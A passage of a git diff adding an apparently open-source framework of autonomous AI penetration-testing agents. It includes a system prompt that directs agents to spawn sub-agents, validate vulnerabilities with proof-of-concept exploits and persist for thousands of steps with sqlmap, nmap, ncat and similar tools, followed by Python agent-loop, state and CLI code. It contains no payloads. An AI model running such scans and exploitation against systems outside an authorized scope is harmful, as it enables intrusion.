+ │ └── Secret Externalization Fixing Agent + ├── CI/CD Pipeline Agent + │ └── Pipeline Security Validation Agent + │ └── Pipeline Injection Reporting Agent + │ └── Pipeline Hardening Fixing Agent + └── Cloud Configuration Agent + ├── AWS Config Validation Agent + │ └── S3 Bucket Exposure Reporting Agent + │ └── Bucket Security Fixing Agent + └── K8s Config Validation Agent + └── Pod Security Reporting Agent + └── Security Context Fixing Agent +``` + +SIMPLE WORKFLOW RULES: + +1. **ALWAYS CREATE AGENTS IN TREES** - Never work alone, always spawn subagents +2. **BLACK-BOX**: Discovery → Validation → Reporting (3 agents per vulnerability) +3. **WHITE-BOX**: Discovery → Validation → Reporting → Fixing (4 agents per vulnerability) +4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain +5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces +6. **ONE JOB PER AGENT** - Each agent has ONE specific task only + +WHEN TO CREATE NEW AGENTS: + +BLACK-BOX (domain/URL only): +- Found new subdomain? → Create subdomain-specific agent +- Found SQL injection hint? → Create SQL injection agent +- SQL injection agent finds potential vulnerability in login form? → Create "SQLi Validation Agent (Login Form)" +- Validation agent confirms vulnerability? → Create "SQLi Reporting Agent (Login Form)" (NO fixing agent) + +WHITE-BOX (source code provided): +- Found authentication code issues? → Create authentication analysis agent +- Auth agent finds potential vulnerability? → Create "Auth Validation Agent" +- Validation agent confirms vulnerability? → Create "Auth Reporting Agent" +- Reporting agent documents vulnerability? → Create "Auth Fixing Agent" (implement code fix and test it works) + +VULNERABILITY WORKFLOW (MANDATORY FOR EVERY FINDING): + +BLACK-BOX WORKFLOW (domain/URL only): +``` +SQL Injection Agent finds vulnerability in login form + ↓ +Spawns "SQLi Validation Agent (Login Form)" (proves it's real with PoC) + ↓ +If valid → Spawns "SQLi Reporting Agent (Login Form)" (creates vulnerability report) + ↓ +STOP - No fixing agents in black-box testing +``` + +WHITE-BOX WORKFLOW (source code provided): +``` +Authentication Code Agent finds weak password validation + ↓ +Spawns "Auth Validation Agent" (proves it's exploitable) + ↓ +If valid → Spawns "Auth Reporting Agent" (creates vulnerability report) + ↓ +Spawns "Auth Fixing Agent" (implements secure code fix) +``` + +CRITICAL RULES: + +- **NO FLAT STRUCTURES** - Always create nested agent trees +- **VALIDATION IS MANDATORY** - Never trust scanner output, always validate with PoCs +- **REALISTIC OUTCOMES** - Some tests find nothing, some validations fail +- **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs +- **SPAWN REACTIVELY** - Create new agents based on what you discover +- **ONLY REPORTING AGENTS** can use create_vulnerability_report tool + +REALISTIC TESTING OUTCOMES: +- **No Findings**: Agent completes testing but finds no vulnerabilities +- **Validation Failed**: Initial finding was false positive, validation agent confirms it's not exploitable +- **Valid Vulnerability**: Validation succeeds, spawns reporting agent and then fixing agent (white-box) + +PERSISTENCE IS MANDATORY: +- Real vulnerabilities take TIME - expect to need 2000+ steps minimum +- NEVER give up early - attackers spend weeks on single targets +- If one approach fails, try 10 more approaches +- Each failure teaches you something - use it to refine next attempts +- Bug bounty hunters spend DAYS on single targets - so should you +- There are ALWAYS more attack vectors to explore + + + +Tool calls use XML format: + +value + + +CRITICAL RULES: +1. One tool call per message +2. Tool call must be last in message +3. End response after tag +5. Thinking is NOT optional - it's required for reasoning and success + +SPRAYING EXECUTION NOTE: +- When performing large payload sprays or fuzzing, encapsulate the entire spraying loop inside a single python or terminal tool call (e.g., a Python script using asyncio/aiohttp). Do not issue one tool call per payload. +- Favor batch-mode CLI tools (sqlmap, ffuf, nuclei, zaproxy, arjun) where appropriate and check traffic via the proxy when beneficial + +{{ get_tools_prompt() }} + + + +Docker container with Kali Linux and comprehensive security tools: + +RECONNAISSANCE & SCANNING: +- nmap, ncat, ndiff - Network mapping and port scanning +- subfinder - Subdomain enumeration +- naabu - Fast port scanner +- httpx - HTTP probing and validation +- gospider - Web spider/crawler + +VULNERABILITY ASSESSMENT: +- nuclei - Vulnerability scanner with templates +- sqlmap - SQL injection detection/exploitation +- trivy - Container/dependency vulnerability scanner +- zaproxy - OWASP ZAP web app scanner +- wapiti - Web vulnerability scanner + +WEB FUZZING & DISCOVERY: +- ffuf - Fast web fuzzer +- dirsearch - Directory/file discovery +- katana - Advanced web crawler +- arjun - HTTP parameter discovery +- vulnx (cvemap) - CVE vulnerability mapping + +JAVASCRIPT ANALYSIS: +- JS-Snooper, jsniper.sh - JS analysis scripts +- retire - Vulnerable JS library detection +- eslint, jshint - JS static analysis +- js-beautify - JS beautifier/deobfuscator + +CODE ANALYSIS: +- semgrep - Static analysis/SAST +- bandit - Python security linter +- trufflehog - Secret detection in code + +SPECIALIZED TOOLS: +- jwt_tool - JWT token manipulation +- wafw00f - WAF detection +- interactsh-client - OOB interaction testing + +PROXY & INTERCEPTION: +- Caido CLI - Modern web proxy (already running). Used with proxy tool or with python tool (functions already imported). +- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port. + +PROGRAMMING: +- Python 3, Poetry, Go, Node.js/npm +- Full development environment +- Docker is NOT available inside the sandbox. Do not run docker; rely on provided tools to run locally. +- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.) + +Directories: +- /workspace - Your private agent directory +- /shared_workspace - Shared between agents +- /home/pentester/tools - Additional tool scripts +- /home/pentester/tools/wordlists - Currently empty, but you should download wordlists here when you need. + +Default user: pentester (sudo available) + + +{% if loaded_module_names %} + +{# Dynamic prompt modules loaded based on agent specialization #} + +{% for module_name in loaded_module_names %} +{{ get_module(module_name) }} + +{% endfor %} + +{% endif %} diff --git a/strix/agents/__init__.py b/strix/agents/__init__.py new file mode 100644 index 0000000..c7e542e --- /dev/null +++ b/strix/agents/__init__.py @@ -0,0 +1,10 @@ +from .base_agent import BaseAgent +from .state import AgentState +from .StrixAgent import StrixAgent + + +__all__ = [ + "AgentState", + "BaseAgent", + "StrixAgent", +] diff --git a/strix/agents/base_agent.py b/strix/agents/base_agent.py new file mode 100644 index 0000000..07d2cd1 --- /dev/null +++ b/strix/agents/base_agent.py @@ -0,0 +1,394 @@ +import asyncio +import logging +from pathlib import Path +from typing import TYPE_CHECKING, Any, Optional + + +if TYPE_CHECKING: + from strix.cli.tracer import Tracer + +from jinja2 import ( + Environment, + FileSystemLoader, + select_autoescape, +) + +from strix.llm import LLM, LLMConfig +from strix.llm.utils import clean_content +from strix.tools import process_tool_invocations + +from .state import AgentState + + +logger = logging.getLogger(__name__) + + +class AgentMeta(type): + agent_name: str + jinja_env: Environment + + def __new__(cls, name: str, bases: tuple[type, ...], attrs: dict[str, Any]) -> type: + new_cls = super().__new__(cls, name, bases, attrs) + + if name == "BaseAgent": + return new_cls + + agents_dir = Path(__file__).parent + prompt_dir = agents_dir / name + + new_cls.agent_name = name + new_cls.jinja_env = Environment( + loader=FileSystemLoader(prompt_dir), + autoescape=select_autoescape(enabled_extensions=(), default_for_string=False), + ) + + return new_cls + + +class BaseAgent(metaclass=AgentMeta): + max_iterations = 200 + agent_name: str = "" + jinja_env: Environment + default_llm_config: LLMConfig | None = None + + def __init__(self, config: dict[str, Any]): + self.config = config + + self.local_source_path = config.get("local_source_path") + + if "max_iterations" in config: + self.max_iterations = config["max_iterations"] + + self.llm_config_name = config.get("llm_config_name", "default") + self.llm_config = config.get("llm_config", self.default_llm_config) + if self.llm_config is None: + raise ValueError("llm_config is required but not provided") + self.llm = LLM(self.llm_config, agent_name=self.agent_name) + + state_from_config = config.get("state") + if state_from_config is not None: + self.state = state_from_config + else: + self.state = AgentState( + agent_name=self.agent_name, + max_iterations=self.max_iterations, + ) + + self._current_task: asyncio.Task[Any] | None = None + + from strix.cli.tracer import get_global_tracer + + tracer = get_global_tracer() + if tracer: + tracer.log_agent_creation( + agent_id=self.state.agent_id, + name=self.state.agent_name, + task=self.state.task, + parent_id=self.state.parent_id, + ) + if self.state.parent_id is None: + scan_config = tracer.scan_config or {} + exec_id = tracer.log_tool_execution_start( + agent_id=self.state.agent_id, + tool_name="scan_start_info", + args=scan_config, + ) + tracer.update_tool_execution(execution_id=exec_id, status="completed", result={}) + + else: + exec_id = tracer.log_tool_execution_start( + agent_id=self.state.agent_id, + tool_name="subagent_start_info", + args={ + "name": self.state.agent_name, + "task": self.state.task, + "parent_id": self.state.parent_id, + }, + ) + tracer.update_tool_execution(execution_id=exec_id, status="completed", result={}) + + self._add_to_agents_graph() + + def _add_to_agents_graph(self) -> None: + from strix.tools.agents_graph import agents_graph_actions + + node = { + "id": self.state.agent_id, + "name": self.state.agent_name, + "task": self.state.task, + "status": "running", + "parent_id": self.state.parent_id, + "created_at": self.state.start_time, + "finished_at": None, + "result": None, + "llm_config": self.llm_config_name, + "agent_type": self.__class__.__name__, + "state": self.state.model_dump(), + } + agents_graph_actions._agent_graph["nodes"][self.state.agent_id] = node + + agents_graph_actions._agent_instances[self.state.agent_id] = self + agents_graph_actions._agent_states[self.state.agent_id] = self.state + + if self.state.parent_id: + agents_graph_actions._agent_graph["edges"].append( + {"from": self.state.parent_id, "to": self.state.agent_id, "type": "delegation"} + ) + + if self.state.agent_id not in agents_graph_actions._agent_messages: + agents_graph_actions._agent_messages[self.state.agent_id] = [] + + if self.state.parent_id is None and agents_graph_actions._root_agent_id is None: + agents_graph_actions._root_agent_id = self.state.agent_id + + def cancel_current_execution(self) -> None: + if self._current_task and not self._current_task.done(): + self._current_task.cancel() + self._current_task = None + + async def agent_loop(self, task: str) -> dict[str, Any]: + await self._initialize_sandbox_and_state(task) + + from strix.cli.tracer import get_global_tracer + + tracer = get_global_tracer() + + while True: + self._check_agent_messages(self.state) + + if self.state.is_waiting_for_input(): + await self._wait_for_input() + continue + + if self.state.should_stop(): + await self._enter_waiting_state(tracer) + continue + + self.state.increment_iteration() + + try: + should_finish = await self._process_iteration(tracer) + if should_finish: + await self._enter_waiting_state(tracer, task_completed=True) + continue + + except asyncio.CancelledError: + await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True) + continue + + except (RuntimeError, ValueError, TypeError) as e: + if not await self._handle_iteration_error(e, tracer): + await self._enter_waiting_state(tracer, error_occurred=True) + continue + + async def _wait_for_input(self) -> None: + import asyncio + + await asyncio.sleep(0.5) + + async def _enter_waiting_state( + self, + tracer: Optional["Tracer"], + task_completed: bool = False, + error_occurred: bool = False, + was_cancelled: bool = False, + ) -> None: + self.state.enter_waiting_state() + + if tracer: + if task_completed: + tracer.update_agent_status(self.state.agent_id, "completed") + elif error_occurred: + tracer.update_agent_status(self.state.agent_id, "error") + elif was_cancelled: + tracer.update_agent_status(self.state.agent_id, "stopped") + else: + tracer.update_agent_status(self.state.agent_id, "stopped") + + if task_completed: + self.state.add_message( + "assistant", + "Task completed. I'm now waiting for follow-up instructions or new tasks.", + ) + elif error_occurred: + self.state.add_message( + "assistant", "An error occurred. I'm now waiting for new instructions." + ) + elif was_cancelled: + self.state.add_message( + "assistant", "Execution was cancelled. I'm now waiting for new instructions." + ) + else: + self.state.add_message( + "assistant", + "Execution paused. I'm now waiting for new instructions or any updates.", + ) + + async def _initialize_sandbox_and_state(self, task: str) -> None: + import os + + sandbox_mode = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true" + if not sandbox_mode and self.state.sandbox_id is None: + from strix.runtime import get_runtime + + runtime = get_runtime() + sandbox_info = await runtime.create_sandbox( + self.state.agent_id, self.state.sandbox_token, self.local_source_path + ) + self.state.sandbox_id = sandbox_info["workspace_id"] + self.state.sandbox_token = sandbox_info["auth_token"] + self.state.sandbox_info = sandbox_info + + if not self.state.task: + self.state.task = task + + self.state.add_message("user", task) + + async def _process_iteration(self, tracer: Optional["Tracer"]) -> bool: + response = await self.llm.generate(self.state.get_conversation_history()) + + content_stripped = (response.content or "").strip() + + if not content_stripped: + corrective_message = ( + "You MUST NOT respond with empty messages. " + "If you currently have nothing to do or say, use an appropriate tool instead:\n" + "- Use agents_graph_actions.wait_for_message to wait for messages " + "from user or other agents\n" + "- Use agents_graph_actions.agent_finish if you are a sub-agent " + "and your task is complete\n" + "- Use finish_actions.finish_scan if you are the root/main agent " + "and the scan is complete" + ) + self.state.add_message("user", corrective_message) + return False + + self.state.add_message("assistant", response.content) + if tracer: + tracer.log_chat_message( + content=clean_content(response.content), + role="assistant", + agent_id=self.state.agent_id, + ) + + actions = ( + response.tool_invocations + if hasattr(response, "tool_invocations") and response.tool_invocations + else [] + ) + + if actions: + return await self._execute_actions(actions, tracer) + + return False + + async def _execute_actions(self, actions: list[Any], tracer: Optional["Tracer"]) -> bool: + """Execute actions and return True if agent should finish.""" + for action in actions: + self.state.add_action(action) + + conversation_history = self.state.get_conversation_history() + + tool_task = asyncio.create_task( + process_tool_invocations(actions, conversation_history, self.state) + ) + self._current_task = tool_task + + try: + should_agent_finish = await tool_task + self._current_task = None + except asyncio.CancelledError: + self._current_task = None + self.state.add_error("Tool execution cancelled by user") + raise + + self.state.messages = conversation_history + + if should_agent_finish: + self.state.set_completed({"success": True}) + if tracer: + tracer.update_agent_status(self.state.agent_id, "completed") + return True + + return False + + async def _handle_iteration_error( + self, + error: RuntimeError | ValueError | TypeError | asyncio.CancelledError, + tracer: Optional["Tracer"], + ) -> bool: + error_msg = f"Error in iteration {self.state.iteration}: {error!s}" + logger.exception(error_msg) + self.state.add_error(error_msg) + if tracer: + tracer.update_agent_status(self.state.agent_id, "error") + return True + + def _check_agent_messages(self, state: AgentState) -> None: + try: + from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages + + agent_id = state.agent_id + if not agent_id or agent_id not in _agent_messages: + return + + messages = _agent_messages[agent_id] + if messages: + has_new_messages = False + for message in messages: + if not message.get("read", False): + if state.is_waiting_for_input(): + state.resume_from_waiting() + has_new_messages = True + + sender_name = "Unknown Agent" + sender_id = message.get("from") + + if sender_id == "user": + sender_name = "User" + state.add_message("user", message.get("content", "")) + else: + if sender_id and sender_id in _agent_graph.get("nodes", {}): + sender_name = _agent_graph["nodes"][sender_id]["name"] + + message_content = f""" + + You have received a message from another agent. You should acknowledge + this message and respond appropriately based on its content. However, DO NOT echo + back or repeat the entire message structure in your response. Simply process the + content and respond naturally as/if needed. + + + {sender_name} + {sender_id} + + + {message.get("message_type", "information")} + {message.get("priority", "normal")} + {message.get("timestamp", "")} + + +{message.get("content", "")} + + + This message was delivered during your task execution. + Please acknowledge and respond if needed. + +""" + state.add_message("user", message_content.strip()) + + message["read"] = True + + if has_new_messages and not state.is_waiting_for_input(): + from strix.cli.tracer import get_global_tracer + + tracer = get_global_tracer() + if tracer: + tracer.update_agent_status(agent_id, "running") + + except (AttributeError, KeyError, TypeError) as e: + import logging + + logger = logging.getLogger(__name__) + logger.warning(f"Error checking agent messages: {e}") + return diff --git a/strix/agents/state.py b/strix/agents/state.py new file mode 100644 index 0000000..234a0e2 --- /dev/null +++ b/strix/agents/state.py @@ -0,0 +1,139 @@ +import uuid +from datetime import UTC, datetime +from typing import Any + +from pydantic import BaseModel, Field + + +def _generate_agent_id() -> str: + return f"agent_{uuid.uuid4().hex[:8]}" + + +class AgentState(BaseModel): + agent_id: str = Field(default_factory=_generate_agent_id) + agent_name: str = "Strix Agent" + parent_id: str | None = None + sandbox_id: str | None = None + sandbox_token: str | None = None + sandbox_info: dict[str, Any] | None = None + + task: str = "" + iteration: int = 0 + max_iterations: int = 200 + completed: bool = False + stop_requested: bool = False + waiting_for_input: bool = False + final_result: dict[str, Any] | None = None + + messages: list[dict[str, Any]] = Field(default_factory=list) + context: dict[str, Any] = Field(default_factory=dict) + + start_time: str = Field(default_factory=lambda: datetime.now(UTC).isoformat()) + last_updated: str = Field(default_factory=lambda: datetime.now(UTC).isoformat()) + + actions_taken: list[dict[str, Any]] = Field(default_factory=list) + observations: list[dict[str, Any]] = Field(default_factory=list) + + errors: list[str] = Field(default_factory=list) + + def increment_iteration(self) -> None: + self.iteration += 1 + self.last_updated = datetime.now(UTC).isoformat() + + def add_message(self, role: str, content: Any) -> None: + self.messages.append({"role": role, "content": content}) + self.last_updated = datetime.now(UTC).isoformat() + + def add_action(self, action: dict[str, Any]) -> None: + self.actions_taken.append( + { + "iteration": self.iteration, + "timestamp": datetime.now(UTC).isoformat(), + "action": action, + } + ) + + def add_observation(self, observation: dict[str, Any]) -> None: + self.observations.append( + { + "iteration": self.iteration, + "timestamp": datetime.now(UTC).isoformat(), + "observation": observation, + } + ) + + def add_error(self, error: str) -> None: + self.errors.append(f"Iteration {self.iteration}: {error}") + self.last_updated = datetime.now(UTC).isoformat() + + def update_context(self, key: str, value: Any) -> None: + self.context[key] = value + self.last_updated = datetime.now(UTC).isoformat() + + def set_completed(self, final_result: dict[str, Any] | None = None) -> None: + self.completed = True + self.final_result = final_result + self.last_updated = datetime.now(UTC).isoformat() + + def request_stop(self) -> None: + self.stop_requested = True + self.last_updated = datetime.now(UTC).isoformat() + + def should_stop(self) -> bool: + return self.stop_requested or self.completed or self.has_reached_max_iterations() + + def is_waiting_for_input(self) -> bool: + return self.waiting_for_input + + def enter_waiting_state(self) -> None: + self.waiting_for_input = True + self.stop_requested = False + self.last_updated = datetime.now(UTC).isoformat() + + def resume_from_waiting(self, new_task: str | None = None) -> None: + self.waiting_for_input = False + self.stop_requested = False + self.completed = False + if new_task: + self.task = new_task + self.last_updated = datetime.now(UTC).isoformat() + + def has_reached_max_iterations(self) -> bool: + return self.iteration >= self.max_iterations + + def has_empty_last_messages(self, count: int = 3) -> bool: + if len(self.messages) < count: + return False + + last_messages = self.messages[-count:] + + for message in last_messages: + content = message.get("content", "") + if isinstance(content, str) and content.strip(): + return False + + return True + + def get_conversation_history(self) -> list[dict[str, Any]]: + return self.messages + + def get_execution_summary(self) -> dict[str, Any]: + return { + "agent_id": self.agent_id, + "agent_name": self.agent_name, + "parent_id": self.parent_id, + "sandbox_id": self.sandbox_id, + "sandbox_info": self.sandbox_info, + "task": self.task, + "iteration": self.iteration, + "max_iterations": self.max_iterations, + "completed": self.completed, + "final_result": self.final_result, + "start_time": self.start_time, + "last_updated": self.last_updated, + "total_actions": len(self.actions_taken), + "total_observations": len(self.observations), + "total_errors": len(self.errors), + "has_errors": len(self.errors) > 0, + "max_iterations_reached": self.has_reached_max_iterations() and not self.completed, + } diff --git a/strix/cli/__init__.py b/strix/cli/__init__.py new file mode 100644 index 0000000..b0f9740 --- /dev/null +++ b/strix/cli/__init__.py @@ -0,0 +1,4 @@ +from .main import main + + +__all__ = ["main"] diff --git a/strix/cli/app.py b/strix/cli/app.py new file mode 100644 index 0000000..d5396a1 --- /dev/null +++ b/strix/cli/app.py @@ -0,0 +1,1122 @@ +import argparse +import asyncio +import atexit +import logging +import random +import signal +import sys +import threading +from collections.abc import Callable +from typing import Any, ClassVar + +from textual import events, on +from textual.app import App, ComposeResult +from textual.binding import Binding +from textual.containers import Grid, Horizontal, Vertical, VerticalScroll +from textual.reactive import reactive +from textual.screen import ModalScreen +from textual.widgets import Button, Label, Static, TextArea, Tree +from textual.widgets.tree import TreeNode + +from strix.agents.StrixAgent import StrixAgent +from strix.cli.tracer import Tracer, set_global_tracer +from strix.llm.config import LLMConfig + + +def escape_markup(text: str) -> str: + return text.replace("[", "\\[").replace("]", "\\]") + + +class ChatTextArea(TextArea): # type: ignore[misc] + def __init__(self, *args: Any, **kwargs: Any) -> None: + super().__init__(*args, **kwargs) + self._app_reference: StrixCLIApp | None = None + + def set_app_reference(self, app: "StrixCLIApp") -> None: + self._app_reference = app + + def _on_key(self, event: events.Key) -> None: + if event.key == "enter" and self._app_reference: + text_content = str(self.text) # type: ignore[has-type] + message = text_content.strip() + if message: + self.text = "" + + self._app_reference._send_user_message(message) + + event.prevent_default() + return + + super()._on_key(event) + + +class SplashScreen(Static): # type: ignore[misc] + def compose(self) -> ComposeResult: + ascii_art = r""" +[bright_green] + + + ███████╗████████╗██████╗ ██╗██╗ ██╗ + ██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝ + ███████╗ ██║ ██████╔╝██║ ╚███╔╝ + ╚════██║ ██║ ██╔══██╗██║ ██╔██╗ + ███████║ ██║ ██║ ██║██║██╔╝ ██╗ + ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ + + +[/bright_green] + + [bright_green]Starting Strix Cybersecurity Agent...[/bright_green] +""" + yield Static(ascii_art, id="splash_content") + + +class HelpScreen(ModalScreen): # type: ignore[misc] + def compose(self) -> ComposeResult: + yield Grid( + Label("🦉 Strix Help", id="help_title"), + Label( + "F1 Help\nCtrl+Q/C Quit\nESC Stop Agent\n" + "Enter Send message to agent\nTab Switch panels\n↑/↓ Navigate tree", + id="help_content", + ), + id="dialog", + ) + + def on_key(self, _event: events.Key) -> None: + self.app.pop_screen() + + +class StopAgentScreen(ModalScreen): # type: ignore[misc] + def __init__(self, agent_name: str, agent_id: str): + super().__init__() + self.agent_name = agent_name + self.agent_id = agent_id + + def compose(self) -> ComposeResult: + yield Grid( + Label(f"🛑 Stop '{self.agent_name}'?", id="stop_agent_title"), + Grid( + Button("Yes", variant="error", id="stop_agent"), + Button("No", variant="default", id="cancel_stop"), + id="stop_agent_buttons", + ), + id="stop_agent_dialog", + ) + + def on_mount(self) -> None: + cancel_button = self.query_one("#cancel_stop", Button) + cancel_button.focus() + + def on_key(self, event: events.Key) -> None: + if event.key in ("left", "right", "up", "down"): + focused = self.focused + + if focused and focused.id == "stop_agent": + cancel_button = self.query_one("#cancel_stop", Button) + cancel_button.focus() + else: + stop_button = self.query_one("#stop_agent", Button) + stop_button.focus() + + event.prevent_default() + elif event.key == "enter": + focused = self.focused + if focused and isinstance(focused, Button): + focused.press() + event.prevent_default() + elif event.key == "escape": + self.app.pop_screen() + event.prevent_default() + + def on_button_pressed(self, event: Button.Pressed) -> None: + if event.button.id == "stop_agent": + self.app.action_confirm_stop_agent(self.agent_id) + else: + self.app.pop_screen() + + +class QuitScreen(ModalScreen): # type: ignore[misc] + def compose(self) -> ComposeResult: + yield Grid( + Label("🦉 Quit Strix? ", id="quit_title"), + Grid( + Button("Yes", variant="error", id="quit"), + Button("No", variant="default", id="cancel"), + id="quit_buttons", + ), + id="quit_dialog", + ) + + def on_mount(self) -> None: + cancel_button = self.query_one("#cancel", Button) + cancel_button.focus() + + def on_key(self, event: events.Key) -> None: + if event.key in ("left", "right", "up", "down"): + focused = self.focused + + if focused and focused.id == "quit": + cancel_button = self.query_one("#cancel", Button) + cancel_button.focus() + else: + quit_button = self.query_one("#quit", Button) + quit_button.focus() + + event.prevent_default() + elif event.key == "enter": + focused = self.focused + if focused and isinstance(focused, Button): + focused.press() + event.prevent_default() + elif event.key == "escape": + self.app.pop_screen() + event.prevent_default() + + def on_button_pressed(self, event: Button.Pressed) -> None: + if event.button.id == "quit": + self.app.action_custom_quit() + else: + self.app.pop_screen() + + +class StrixCLIApp(App): # type: ignore[misc] + CSS_PATH = "assets/cli.tcss" + + selected_agent_id: reactive[str | None] = reactive(default=None) + show_splash: reactive[bool] = reactive(default=True) + + BINDINGS: ClassVar[list[Binding]] = [ + Binding("f1", "toggle_help", "Help", priority=True), + Binding("ctrl+q", "request_quit", "Quit", priority=True), + Binding("ctrl+c", "request_quit", "Quit", priority=True), + Binding("escape", "stop_selected_agent", "Stop Agent", priority=True), + ] + + def __init__(self, args: argparse.Namespace): + super().__init__() + self.args = args + self.scan_config = self._build_scan_config(args) + self.agent_config = self._build_agent_config(args) + + self.tracer = Tracer(self.scan_config["run_name"]) + self.tracer.set_scan_config(self.scan_config) + set_global_tracer(self.tracer) + + self.agent_nodes: dict[str, TreeNode] = {} + + self._displayed_agents: set[str] = set() + self._displayed_events: list[str] = [] + + self._scan_thread: threading.Thread | None = None + self._scan_stop_event = threading.Event() + self._scan_completed = threading.Event() + + self._action_verbs = [ + "Generating", + "Scanning", + "Analyzing", + "Probing", + "Hacking", + "Testing", + "Exploiting", + "Investigating", + ] + self._agent_verbs: dict[str, str] = {} # agent_id -> current_verb + self._agent_verb_timers: dict[str, Any] = {} # agent_id -> timer + self._agent_dot_states: dict[str, int] = {} # agent_id -> dot_count (0-3) + self._dot_animation_timer: Any | None = None + + self._setup_cleanup_handlers() + + def _build_scan_config(self, args: argparse.Namespace) -> dict[str, Any]: + return { + "scan_id": args.run_name, + "scan_type": args.target_type, + "target": args.target_dict, + "user_instructions": args.instruction or "", + "run_name": args.run_name, + } + + def _build_agent_config(self, args: argparse.Namespace) -> dict[str, Any]: + llm_config = LLMConfig() + + config = { + "llm_config": llm_config, + "max_iterations": 200, + } + + if args.target_type == "local_code" and "target_path" in args.target_dict: + config["local_source_path"] = args.target_dict["target_path"] + + return config + + def _setup_cleanup_handlers(self) -> None: + def cleanup_on_exit() -> None: + self.tracer.cleanup() + + def signal_handler(_signum: int, _frame: Any) -> None: + self.tracer.cleanup() + sys.exit(0) + + atexit.register(cleanup_on_exit) + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + if hasattr(signal, "SIGHUP"): + signal.signal(signal.SIGHUP, signal_handler) + + def compose(self) -> ComposeResult: + if self.show_splash: + yield SplashScreen(id="splash_screen") + + def watch_show_splash(self, show_splash: bool) -> None: + if not show_splash and self.is_mounted: + try: + splash = self.query_one("#splash_screen") + splash.remove() + except ValueError: + pass + + main_container = Vertical(id="main_container") + + self.mount(main_container) + + content_container = Horizontal(id="content_container") + main_container.mount(content_container) + + chat_area_container = Vertical(id="chat_area_container") + + chat_display = Static("", id="chat_display") + chat_history = VerticalScroll(chat_display, id="chat_history") + chat_history.can_focus = True + + status_text = Static("", id="status_text") + keymap_indicator = Static("", id="keymap_indicator") + + agent_status_display = Horizontal( + status_text, keymap_indicator, id="agent_status_display", classes="hidden" + ) + + chat_prompt = Static("> ", id="chat_prompt") + chat_input = ChatTextArea( + "", + id="chat_input", + show_line_numbers=False, + ) + chat_input.set_app_reference(self) + chat_input_container = Horizontal(chat_prompt, chat_input, id="chat_input_container") + + agents_tree = Tree("🤖 Active Agents", id="agents_tree") + agents_tree.root.expand() + agents_tree.show_root = False + + agents_tree.show_guide = True + agents_tree.guide_depth = 3 + agents_tree.guide_style = "dashed" + + content_container.mount(chat_area_container) + content_container.mount(agents_tree) + + chat_area_container.mount(chat_history) + chat_area_container.mount(agent_status_display) + chat_area_container.mount(chat_input_container) + + self.call_after_refresh(self._focus_chat_input) + + def _focus_chat_input(self) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + try: + chat_input = self.query_one("#chat_input", ChatTextArea) + chat_input.show_vertical_scrollbar = False + chat_input.show_horizontal_scrollbar = False + chat_input.focus() + except (ValueError, Exception): + self.call_after_refresh(self._focus_chat_input) + + def _focus_agents_tree(self) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + try: + agents_tree = self.query_one("#agents_tree", Tree) + agents_tree.focus() + + if agents_tree.root.children: + first_node = agents_tree.root.children[0] + agents_tree.select_node(first_node) + except (ValueError, Exception): + self.call_after_refresh(self._focus_agents_tree) + + def on_mount(self) -> None: + self.title = "strix" + + self.set_timer(3.0, self._hide_splash_screen) + + def _hide_splash_screen(self) -> None: + self.show_splash = False + + self._start_scan_thread() + + self.set_interval(0.5, self._update_ui_from_tracer) + + def _update_ui_from_tracer(self) -> None: + if self.show_splash: + return + + if len(self.screen_stack) > 1: + return + + if not self.is_mounted: + return + + try: + chat_history = self.query_one("#chat_history", VerticalScroll) + agents_tree = self.query_one("#agents_tree", Tree) + + if not self._is_widget_safe(chat_history) or not self._is_widget_safe(agents_tree): + return + except (ValueError, Exception): + return + + agent_updates = False + for agent_id, agent_data in self.tracer.agents.items(): + if agent_id not in self._displayed_agents: + self._add_agent_node(agent_data) + self._displayed_agents.add(agent_id) + agent_updates = True + elif self._update_agent_node(agent_id, agent_data): + agent_updates = True + + if agent_updates: + self._expand_all_agent_nodes() + + self._update_chat_view() + + self._update_agent_status_display() + + def _update_agent_node(self, agent_id: str, agent_data: dict[str, Any]) -> bool: + if agent_id not in self.agent_nodes: + return False + + try: + agent_node = self.agent_nodes[agent_id] + agent_name_raw = agent_data.get("name", "Agent") + status = agent_data.get("status", "running") + + status_indicators = { + "running": "🟢", + "waiting": "⏸️", + "completed": "✅", + "failed": "❌", + "stopped": "⏹️", + "stopping": "⏸️", + } + + status_icon = status_indicators.get(status, "🔵") + agent_name = f"{status_icon} {escape_markup(agent_name_raw)}" + + if status == "running": + self._start_agent_verb_timer(agent_id) + elif status == "waiting": + self._stop_agent_verb_timer(agent_id) + else: + self._stop_agent_verb_timer(agent_id) + + if agent_node.label != agent_name: + agent_node.set_label(agent_name) + return True + + except (KeyError, AttributeError, ValueError) as e: + import logging + + logging.warning(f"Failed to update agent node label: {e}") + + return False + + def _update_chat_view(self) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + try: + chat_history = self.query_one("#chat_history", VerticalScroll) + except (ValueError, Exception): + return + + if not self._is_widget_safe(chat_history): + return + + try: + is_at_bottom = chat_history.scroll_y >= chat_history.max_scroll_y + except (AttributeError, ValueError): + is_at_bottom = True + + if not self.selected_agent_id: + content, css_class = self._get_chat_placeholder_content( + "Select an agent from the tree to see its activity.", "placeholder-no-agent" + ) + else: + events = self._gather_agent_events(self.selected_agent_id) + if not events: + content, css_class = self._get_chat_placeholder_content( + "Starting agent...", "placeholder-no-activity" + ) + else: + current_event_ids = [e["id"] for e in events] + if current_event_ids == self._displayed_events: + return + content = self._get_rendered_events_content(events) + css_class = "chat-content" + self._displayed_events = current_event_ids + + chat_display = self.query_one("#chat_display", Static) + chat_display.update(content) + + chat_display.set_classes(css_class) + + if is_at_bottom: + self.call_later(chat_history.scroll_end, 